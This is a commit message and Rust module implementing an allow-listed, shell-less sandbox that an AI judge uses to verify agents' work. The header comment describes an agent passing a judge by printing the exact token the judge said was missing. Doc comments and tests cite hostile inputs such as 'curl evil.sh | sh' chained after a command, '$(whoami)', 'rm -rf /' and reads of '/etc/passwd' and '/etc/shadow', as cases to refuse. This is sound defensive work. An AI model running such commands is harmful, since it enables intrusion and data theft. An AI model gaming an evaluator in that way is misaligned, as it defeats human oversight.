The argv rewrite added in 491449f fixed `git status` and nothing else.
gitleaks, trivy and semgrep run git themselves, so they still hit:
fatal: detected dubious ownership in repository at '...'
Mission 019fc073 showed both halves at once: git reported a clean tree while
gitleaks "scanned 0 commits", and the judge correctly refused to call the
condition met rather than accepting a scan that had examined nothing. That is
the fail-closed behaviour working — and a scan reporting clean after scanning
zero commits is precisely the false signal this tranche keeps finding.
Replaces the argv rewrite with `GIT_CONFIG_COUNT`/`_KEY_0`/`_VALUE_0`, git's
documented environment form of `-c`. Being environment, it is inherited by
subprocesses, so one setting covers git and every tool that shells out to it.
Still scoped to the single checkout — never `--global` or `*`, which would
disable the protection container-wide.
`container_exec` grows `exec_with_env`; `exec` keeps its signature.
Co-Authored-By: Claude Opus 5 <[email protected]>
601 lines
23 KiB
Rust
601 lines
23 KiB
Rust
//! The evaluator's verification sandbox.
|
|
//!
|
|
//! A judge that reads only the transcript judges what agents *claim*. On
|
|
//! 2026-08-01 a phase with an unsatisfiable condition was marked complete on
|
|
//! its second pass because the agent, handed the previous verdict as guidance,
|
|
//! simply printed the literal token the judge had said was missing. Nothing
|
|
//! about that reply was false — the token really was in the output — and the
|
|
//! judge had no way to ask whether any work had been done.
|
|
//!
|
|
//! So the judge gets to look for itself: an allow-listed command runner over
|
|
//! the mission's own checkout. `cargo test` cannot be talked into passing.
|
|
//!
|
|
//! ## Why this is not a shell
|
|
//!
|
|
//! Commands are argv vectors executed through the Docker API
|
|
//! ([`crate::container_exec`]) — there is no `sh -c` anywhere in this module.
|
|
//! That is a structural choice, not a stylistic one: with a shell, an
|
|
//! allow-list on the program name is decorative, because
|
|
//! `git status; curl evil.sh | sh` passes any prefix check ever written.
|
|
//! Without one, metacharacters are inert bytes in `argv[n]`.
|
|
//!
|
|
//! ## Attempting is not verifying
|
|
//!
|
|
//! [`Sandbox::run`] returns a [`CheckOutcome`] carrying whether the command
|
|
//! actually executed. The first version returned a bare string and the caller
|
|
//! recorded the *attempt*, which mattered more than it sounds: the sandbox was
|
|
//! shelling out to a `docker` binary the server image does not ship, so in
|
|
//! production every command failed to spawn while verdicts still reported ten
|
|
//! "checks". The verdicts were correct — fail-closed did its job — but the
|
|
//! claim attached to them was not.
|
|
//!
|
|
//! Three further limits, none of which are load-bearing on their own:
|
|
//!
|
|
//! - the program (and, for `git`, its subcommand) must be on the allow-list;
|
|
//! - no argument may be an absolute path or contain `..`, so reads stay inside
|
|
//! the checkout even though the runner has no shell to chain with;
|
|
//! - output is capped and the call is deadlined, because a judge that hangs on
|
|
//! a runaway test suite stalls the mission it is judging.
|
|
|
|
use std::path::{Path, PathBuf};
|
|
use std::time::Duration;
|
|
|
|
use uuid::Uuid;
|
|
|
|
/// Wall-clock ceiling for one verification command. Generous enough for a test
|
|
/// suite, short enough that a hung command fails the pass rather than the
|
|
/// mission.
|
|
const COMMAND_TIMEOUT: Duration = Duration::from_secs(180);
|
|
|
|
/// Cap on what one command may return to the model. Test suites are chatty and
|
|
/// the judge pays for every byte; the tail is where failures live, so when
|
|
/// output overflows we keep both ends and drop the middle.
|
|
const MAX_OUTPUT_BYTES: usize = 12_000;
|
|
|
|
/// Programs the judge may run. Every one either reports state or runs a
|
|
/// project's own checks — none of them edit the tree.
|
|
///
|
|
/// `git` is special-cased below: the program alone is not enough, since
|
|
/// `git checkout`/`git reset` would let a judge mutate the work it is judging.
|
|
const ALLOWED_PROGRAMS: &[&str] = &[
|
|
// Inspect the tree.
|
|
"ls", "cat", "head", "tail", "wc", "find", "file", "stat", "du", "rg", "grep", "diff",
|
|
// Run the project's own checks.
|
|
"cargo", "npm", "pnpm", "yarn", "node", "python", "python3", "pytest", "make", "just", "go",
|
|
"pnpx", "npx", "bun", "dotnet", "mvn", "gradle", "ruff", "mypy", "eslint", "tsc", "jest",
|
|
"vitest", "phpunit", "rspec", "bundle", "poetry", "uv", "tox",
|
|
// Security scanners. These ship in the runtime image specifically so a
|
|
// `done_when` can be written about them ("gitleaks reports no secrets"),
|
|
// and a judge that cannot invoke them has to fall back to asking the
|
|
// agents — which is the failure this module exists to prevent. Installing
|
|
// them without allow-listing them left exactly that gap.
|
|
"gitleaks", "trivy", "semgrep",
|
|
// Locate a tool before running it. Cheap, read-only, and it saves the
|
|
// judge from concluding a tool is missing when the real answer is that it
|
|
// guessed the wrong name.
|
|
"which", // Version control, narrowed by subcommand.
|
|
"git",
|
|
];
|
|
|
|
/// `git` subcommands that only read. `checkout`, `reset`, `clean`, `commit`,
|
|
/// `push` and friends are absent deliberately — the judge must not be able to
|
|
/// alter, discard, or publish the work it is evaluating.
|
|
const ALLOWED_GIT_SUBCOMMANDS: &[&str] = &[
|
|
"status",
|
|
"diff",
|
|
"log",
|
|
"show",
|
|
"ls-files",
|
|
"blame",
|
|
"shortlog",
|
|
"describe",
|
|
"rev-parse",
|
|
"rev-list",
|
|
"cat-file",
|
|
"grep",
|
|
"config",
|
|
];
|
|
|
|
/// Why a command was refused. Returned to the model as a tool result so it can
|
|
/// adapt, and logged so an operator can see a judge probing the boundary.
|
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
|
pub enum Refusal {
|
|
Empty,
|
|
Program(String),
|
|
GitSubcommand(String),
|
|
AbsolutePath(String),
|
|
ParentEscape(String),
|
|
}
|
|
|
|
impl std::fmt::Display for Refusal {
|
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
match self {
|
|
Refusal::Empty => write!(f, "no command given"),
|
|
Refusal::Program(p) => write!(
|
|
f,
|
|
"`{p}` is not an allowed verification command. Allowed: inspection \
|
|
(ls, cat, rg, grep, find, wc, diff), read-only git, and project \
|
|
test runners (cargo, npm, pytest, make, …)."
|
|
),
|
|
Refusal::GitSubcommand(s) => write!(
|
|
f,
|
|
"`git {s}` can modify the repository. Only read-only git is available \
|
|
(status, diff, log, show, ls-files, blame, rev-parse, …)."
|
|
),
|
|
Refusal::AbsolutePath(a) => write!(
|
|
f,
|
|
"`{a}` is an absolute path. Verification is scoped to the mission \
|
|
checkout; use paths relative to the repository root."
|
|
),
|
|
Refusal::ParentEscape(a) => write!(
|
|
f,
|
|
"`{a}` climbs above the repository root. Verification is scoped to \
|
|
the mission checkout."
|
|
),
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Validate one argv against the allow-list. Pure, so the policy is testable
|
|
/// without Docker, a checkout, or a model.
|
|
pub fn check_argv(argv: &[String]) -> Result<(), Refusal> {
|
|
let Some(program) = argv.first() else {
|
|
return Err(Refusal::Empty);
|
|
};
|
|
// Reject a qualified path to a binary (`/usr/bin/env`, `./script.sh`)
|
|
// rather than trying to resolve it — the allow-list names programs.
|
|
if program.contains('/') || !ALLOWED_PROGRAMS.contains(&program.as_str()) {
|
|
return Err(Refusal::Program(program.clone()));
|
|
}
|
|
if program == "git" {
|
|
// The first non-flag argument is the subcommand.
|
|
let sub = argv[1..].iter().find(|a| !a.starts_with('-'));
|
|
match sub {
|
|
None => return Err(Refusal::GitSubcommand("<none>".into())),
|
|
Some(s) if !ALLOWED_GIT_SUBCOMMANDS.contains(&s.as_str()) => {
|
|
return Err(Refusal::GitSubcommand(s.clone()));
|
|
}
|
|
Some(_) => {}
|
|
}
|
|
}
|
|
for arg in &argv[1..] {
|
|
// A leading `-` is a flag, not a path; `--foo=/abs` is checked too.
|
|
let candidate = arg.split_once('=').map(|(_, v)| v).unwrap_or(arg);
|
|
if candidate.starts_with('/') {
|
|
return Err(Refusal::AbsolutePath(arg.clone()));
|
|
}
|
|
if candidate.split(['/', '\\']).any(|seg| seg == "..") {
|
|
return Err(Refusal::ParentEscape(arg.clone()));
|
|
}
|
|
}
|
|
Ok(())
|
|
}
|
|
|
|
/// Keep a command's output within [`MAX_OUTPUT_BYTES`], preserving the head
|
|
/// and the tail. A truncated middle is stated rather than silently elided, so
|
|
/// the judge knows it is looking at a partial view.
|
|
pub fn clamp_output(s: &str) -> String {
|
|
if s.len() <= MAX_OUTPUT_BYTES {
|
|
return s.to_string();
|
|
}
|
|
let keep = MAX_OUTPUT_BYTES / 2;
|
|
// Slice on char boundaries so multi-byte output can't panic.
|
|
let head_end = (0..=keep)
|
|
.rev()
|
|
.find(|i| s.is_char_boundary(*i))
|
|
.unwrap_or(0);
|
|
let tail_start = (s.len().saturating_sub(keep)..s.len())
|
|
.find(|i| s.is_char_boundary(*i))
|
|
.unwrap_or(s.len());
|
|
let dropped = tail_start.saturating_sub(head_end);
|
|
format!(
|
|
"{}\n\n… [{dropped} bytes of output omitted] …\n\n{}",
|
|
&s[..head_end],
|
|
&s[tail_start..]
|
|
)
|
|
}
|
|
|
|
/// A checkout the judge may run verification commands against.
|
|
#[derive(Debug, Clone)]
|
|
pub struct Sandbox {
|
|
container: String,
|
|
workdir: PathBuf,
|
|
}
|
|
|
|
impl Sandbox {
|
|
/// Build a sandbox for `mission_id`, or `None` when the mission has no
|
|
/// checkout on disk (a research-only phase, typically).
|
|
///
|
|
/// Returning `None` rather than an empty sandbox matters: the evaluator
|
|
/// prompt changes shape depending on whether verification is possible, and
|
|
/// a judge must never be told it can check something it cannot.
|
|
pub fn for_mission(mission_id: Uuid) -> Option<Sandbox> {
|
|
let workdir = crate::mission_workspace::checkout_path(mission_id);
|
|
if !workdir.is_dir() {
|
|
return None;
|
|
}
|
|
let container = std::env::var("CLAWMATES_RUNTIME_CONTAINER")
|
|
.unwrap_or_else(|_| "clawmates-runtime".to_string());
|
|
Some(Sandbox { container, workdir })
|
|
}
|
|
|
|
/// Construct against an explicit path. Test seam.
|
|
pub fn at(container: impl Into<String>, workdir: impl AsRef<Path>) -> Sandbox {
|
|
Sandbox {
|
|
container: container.into(),
|
|
workdir: workdir.as_ref().to_path_buf(),
|
|
}
|
|
}
|
|
|
|
pub fn workdir(&self) -> &Path {
|
|
&self.workdir
|
|
}
|
|
|
|
/// Run one verification command.
|
|
///
|
|
/// Refusals, non-zero exits, and transport failures all come back as a
|
|
/// `CheckOutcome` rather than an error: they are *evidence*, and the judge
|
|
/// should see "3 tests failed" or "that command is not allowed" and reason
|
|
/// about it rather than have the pass collapse.
|
|
///
|
|
/// The `ran` flag is the part that must not be inferred from the presence
|
|
/// of an outcome. A command the allow-list refused, and a command that
|
|
/// never reached the daemon, both produce evidence text — but neither
|
|
/// verified anything, and a verdict that rests on them is resting on the
|
|
/// agents' claims.
|
|
pub async fn run(&self, argv: &[String]) -> CheckOutcome {
|
|
if let Err(refusal) = check_argv(argv) {
|
|
eprintln!(
|
|
"evaluator_tools: refused {:?} in {} — {refusal}",
|
|
argv,
|
|
self.workdir.display()
|
|
);
|
|
return CheckOutcome::refused(argv, format!("REFUSED: {refusal}"));
|
|
}
|
|
|
|
let docker = match crate::container_exec::connect() {
|
|
Ok(d) => d,
|
|
Err(e) => return CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")),
|
|
};
|
|
let workdir = self.workdir.display().to_string();
|
|
let out = crate::container_exec::exec_with_env(
|
|
&docker,
|
|
&self.container,
|
|
Some(&workdir),
|
|
argv,
|
|
&git_ownership_env(&workdir),
|
|
COMMAND_TIMEOUT,
|
|
)
|
|
.await;
|
|
|
|
match out {
|
|
Err(e) => CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")),
|
|
Ok(out) => {
|
|
let mut body = String::new();
|
|
// The exit status is stated first because it is the part a
|
|
// judge most often needs and most often infers wrongly from
|
|
// prose output.
|
|
match out.exit_code {
|
|
Some(code) => body.push_str(&format!("exit status: {code}\n")),
|
|
None => body.push_str("exit status: unknown (still running?)\n"),
|
|
}
|
|
if !out.stdout.trim().is_empty() {
|
|
body.push_str("--- stdout ---\n");
|
|
body.push_str(&out.stdout);
|
|
}
|
|
if !out.stderr.trim().is_empty() {
|
|
body.push_str("\n--- stderr ---\n");
|
|
body.push_str(&out.stderr);
|
|
}
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: out.exit_code,
|
|
evidence: clamp_output(&body),
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Let git read a checkout it does not own — including from inside another
|
|
/// tool.
|
|
///
|
|
/// The server clones the mission repo as uid 65532; the runtime container the
|
|
/// judge execs into runs as root. Git's ownership check then refuses the
|
|
/// repository:
|
|
///
|
|
/// ```text
|
|
/// fatal: detected dubious ownership in repository at '/var/lib/clawmates-missions/<id>/repo'
|
|
/// ```
|
|
///
|
|
/// The first fix rewrote `git` argv to carry `-c safe.directory=…`, which
|
|
/// worked for `git status` and did nothing for `gitleaks`, which runs git
|
|
/// itself. Observed on mission 019fc073: git reported a clean tree while
|
|
/// gitleaks "scanned 0 commits" and the judge — correctly — refused to call
|
|
/// the condition met.
|
|
///
|
|
/// `GIT_CONFIG_COUNT`/`_KEY_n`/`_VALUE_n` is git's documented environment form
|
|
/// of `-c`, and it is inherited, so one setting covers git, gitleaks, trivy,
|
|
/// semgrep and anything else that shells out. Scoped to this checkout; never
|
|
/// `--global`, which would disable the protection container-wide for every
|
|
/// path.
|
|
fn git_ownership_env(workdir: &str) -> Vec<String> {
|
|
vec![
|
|
"GIT_CONFIG_COUNT=1".to_string(),
|
|
"GIT_CONFIG_KEY_0=safe.directory".to_string(),
|
|
format!("GIT_CONFIG_VALUE_0={workdir}"),
|
|
]
|
|
}
|
|
|
|
/// One verification command and what became of it.
|
|
///
|
|
/// This exists because the first version recorded *attempted* commands. The
|
|
/// evaluator pushed each argv into its `checks` list before running it, so a
|
|
/// verdict reached with a broken sandbox reported "verified by 10 checks"
|
|
/// while zero had executed — a stronger claim than "no checks at all", made on
|
|
/// weaker evidence. Whether a command ran is now carried, not inferred.
|
|
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
|
|
pub struct CheckOutcome {
|
|
pub argv: Vec<String>,
|
|
/// The command executed in the container and returned a status.
|
|
pub ran: bool,
|
|
/// The allow-list rejected it before execution.
|
|
pub refused: bool,
|
|
pub exit_code: Option<i64>,
|
|
/// What the judge was shown.
|
|
pub evidence: String,
|
|
}
|
|
|
|
impl CheckOutcome {
|
|
fn refused(argv: &[String], evidence: String) -> CheckOutcome {
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: false,
|
|
refused: true,
|
|
exit_code: None,
|
|
evidence,
|
|
}
|
|
}
|
|
|
|
fn could_not_run(argv: &[String], evidence: String) -> CheckOutcome {
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: false,
|
|
refused: false,
|
|
exit_code: None,
|
|
evidence,
|
|
}
|
|
}
|
|
|
|
/// Rendered for the operator: `cargo test → exit 0`.
|
|
pub fn summary(&self) -> String {
|
|
let cmd = self.argv.join(" ");
|
|
if self.refused {
|
|
return format!("{cmd} → refused");
|
|
}
|
|
match (self.ran, self.exit_code) {
|
|
(true, Some(code)) => format!("{cmd} → exit {code}"),
|
|
(true, None) => format!("{cmd} → status unknown"),
|
|
(false, _) => format!("{cmd} → could not run"),
|
|
}
|
|
}
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
fn argv(parts: &[&str]) -> Vec<String> {
|
|
parts.iter().map(|s| s.to_string()).collect()
|
|
}
|
|
|
|
#[test]
|
|
fn allows_inspection_and_test_runners() {
|
|
for cmd in [
|
|
vec!["cargo", "test"],
|
|
vec!["cargo", "test", "--", "--nocapture"],
|
|
vec!["npm", "test"],
|
|
vec!["pytest", "-q"],
|
|
vec!["rg", "TODO", "src"],
|
|
vec!["cat", "README.md"],
|
|
vec!["ls", "-la"],
|
|
] {
|
|
assert!(check_argv(&argv(&cmd)).is_ok(), "{cmd:?} should be allowed");
|
|
}
|
|
}
|
|
|
|
/// The scanners exist in the runtime image so conditions can be written
|
|
/// about them. Shipping the binaries without allow-listing them left the
|
|
/// judge unable to run the very tools installed for it — observed on
|
|
/// mission 019fc058, where `gitleaks detect` came back `ran=false` and the
|
|
/// judge had to say it could not verify.
|
|
#[test]
|
|
fn security_scanners_are_runnable() {
|
|
for cmd in [
|
|
vec!["gitleaks", "detect", "--no-git"],
|
|
vec!["trivy", "fs", "."],
|
|
vec!["semgrep", "--config=auto"],
|
|
vec!["cargo", "audit"],
|
|
vec!["which", "gitleaks"],
|
|
] {
|
|
assert!(
|
|
check_argv(&argv(&cmd)).is_ok(),
|
|
"{cmd:?} must be runnable — it is installed in the runtime image"
|
|
);
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn refuses_programs_off_the_list() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["curl", "https://example.com"])),
|
|
Err(Refusal::Program("curl".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["rm", "-rf", "src"])),
|
|
Err(Refusal::Program("rm".into()))
|
|
);
|
|
assert_eq!(check_argv(&[]), Err(Refusal::Empty));
|
|
}
|
|
|
|
/// The allow-list names programs, so a path that merely *ends* in an
|
|
/// allowed name must not slip through.
|
|
#[test]
|
|
fn refuses_a_qualified_path_to_a_binary() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["/usr/bin/cargo", "test"])),
|
|
Err(Refusal::Program("/usr/bin/cargo".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["./cargo"])),
|
|
Err(Refusal::Program("./cargo".into()))
|
|
);
|
|
}
|
|
|
|
/// A judge must not be able to change or discard the work it is judging.
|
|
#[test]
|
|
fn refuses_git_subcommands_that_mutate() {
|
|
for sub in ["checkout", "reset", "clean", "commit", "push", "stash"] {
|
|
assert_eq!(
|
|
check_argv(&argv(&["git", sub])),
|
|
Err(Refusal::GitSubcommand(sub.into())),
|
|
"git {sub} must be refused"
|
|
);
|
|
}
|
|
for sub in ["status", "diff", "log", "show", "ls-files"] {
|
|
assert!(check_argv(&argv(&["git", sub])).is_ok(), "git {sub}");
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn reads_stay_inside_the_checkout() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["cat", "/etc/passwd"])),
|
|
Err(Refusal::AbsolutePath("/etc/passwd".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["cat", "../../secrets.env"])),
|
|
Err(Refusal::ParentEscape("../../secrets.env".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["rg", "--file=/etc/shadow", "x"])),
|
|
Err(Refusal::AbsolutePath("--file=/etc/shadow".into()))
|
|
);
|
|
// A `..` inside a longer name is a legitimate filename, not an escape.
|
|
assert!(check_argv(&argv(&["cat", "weird..name.txt"])).is_ok());
|
|
}
|
|
|
|
/// There is no shell, so these are inert argument bytes rather than
|
|
/// command separators. The point of the test is that the validator does
|
|
/// not need to reason about metacharacters at all — the execution model
|
|
/// already removed the class of bug.
|
|
#[test]
|
|
fn shell_metacharacters_are_not_special() {
|
|
assert!(check_argv(&argv(&["rg", "foo;bar", "src"])).is_ok());
|
|
assert!(check_argv(&argv(&["rg", "$(whoami)"])).is_ok());
|
|
assert!(check_argv(&argv(&["grep", "a && b"])).is_ok());
|
|
// …but a disallowed program is still disallowed however it is spelled.
|
|
assert!(check_argv(&argv(&["sh", "-c", "ls"])).is_err());
|
|
assert!(check_argv(&argv(&["bash", "-c", "ls"])).is_err());
|
|
}
|
|
|
|
/// The exception must reach tools that invoke git internally, not just
|
|
/// `git` itself — the first version rewrote argv and left gitleaks
|
|
/// scanning 0 commits.
|
|
#[test]
|
|
fn git_ownership_is_set_by_environment_so_subprocesses_inherit_it() {
|
|
let env = git_ownership_env("/missions/abc/repo");
|
|
assert_eq!(
|
|
env,
|
|
vec![
|
|
"GIT_CONFIG_COUNT=1".to_string(),
|
|
"GIT_CONFIG_KEY_0=safe.directory".to_string(),
|
|
"GIT_CONFIG_VALUE_0=/missions/abc/repo".to_string(),
|
|
]
|
|
);
|
|
// Scoped to the one checkout. `--global`, or a bare `*`, would switch
|
|
// the protection off for every path in the container.
|
|
assert!(!env.iter().any(|e| e.contains('*')));
|
|
assert!(!env.iter().any(|e| e.contains("--global")));
|
|
}
|
|
|
|
// ── What a check may claim about itself ────────────────────────────
|
|
|
|
/// The property the whole struct exists for. A refused command and an
|
|
/// unreachable daemon both produce evidence text; neither verified
|
|
/// anything, and only `ran` may be used to say otherwise.
|
|
#[test]
|
|
fn only_an_executed_command_counts_as_having_run() {
|
|
let refused = CheckOutcome::refused(&argv(&["rm", "-rf", "/"]), "REFUSED: no".into());
|
|
assert!(!refused.ran, "a refused command did not verify anything");
|
|
assert!(refused.refused);
|
|
assert_eq!(refused.exit_code, None);
|
|
|
|
let broken = CheckOutcome::could_not_run(&argv(&["cargo", "test"]), "COULD NOT RUN".into());
|
|
assert!(
|
|
!broken.ran,
|
|
"a command that never reached the daemon did not verify anything"
|
|
);
|
|
assert!(
|
|
!broken.refused,
|
|
"not refused — the allow-list said yes; the transport failed"
|
|
);
|
|
|
|
let real = CheckOutcome {
|
|
argv: argv(&["cargo", "test"]),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: Some(0),
|
|
evidence: "exit status: 0".into(),
|
|
};
|
|
assert!(real.ran);
|
|
}
|
|
|
|
#[test]
|
|
fn summary_distinguishes_the_three_outcomes() {
|
|
assert_eq!(
|
|
CheckOutcome::refused(&argv(&["git", "push"]), String::new()).summary(),
|
|
"git push → refused"
|
|
);
|
|
assert_eq!(
|
|
CheckOutcome::could_not_run(&argv(&["cargo", "test"]), String::new()).summary(),
|
|
"cargo test → could not run"
|
|
);
|
|
assert_eq!(
|
|
CheckOutcome {
|
|
argv: argv(&["cargo", "test"]),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: Some(101),
|
|
evidence: String::new(),
|
|
}
|
|
.summary(),
|
|
"cargo test → exit 101"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn clamp_keeps_both_ends_and_says_what_it_dropped() {
|
|
let short = "all good";
|
|
assert_eq!(clamp_output(short), short);
|
|
|
|
let long = "x".repeat(MAX_OUTPUT_BYTES * 2);
|
|
let clamped = clamp_output(&long);
|
|
assert!(clamped.len() < long.len());
|
|
assert!(clamped.contains("bytes of output omitted"));
|
|
assert!(clamped.starts_with('x'), "keeps the head");
|
|
assert!(
|
|
clamped.ends_with('x'),
|
|
"keeps the tail — failures live there"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn clamp_does_not_panic_on_multibyte_output() {
|
|
let long = "é".repeat(MAX_OUTPUT_BYTES);
|
|
let _ = clamp_output(&long);
|
|
}
|
|
}
|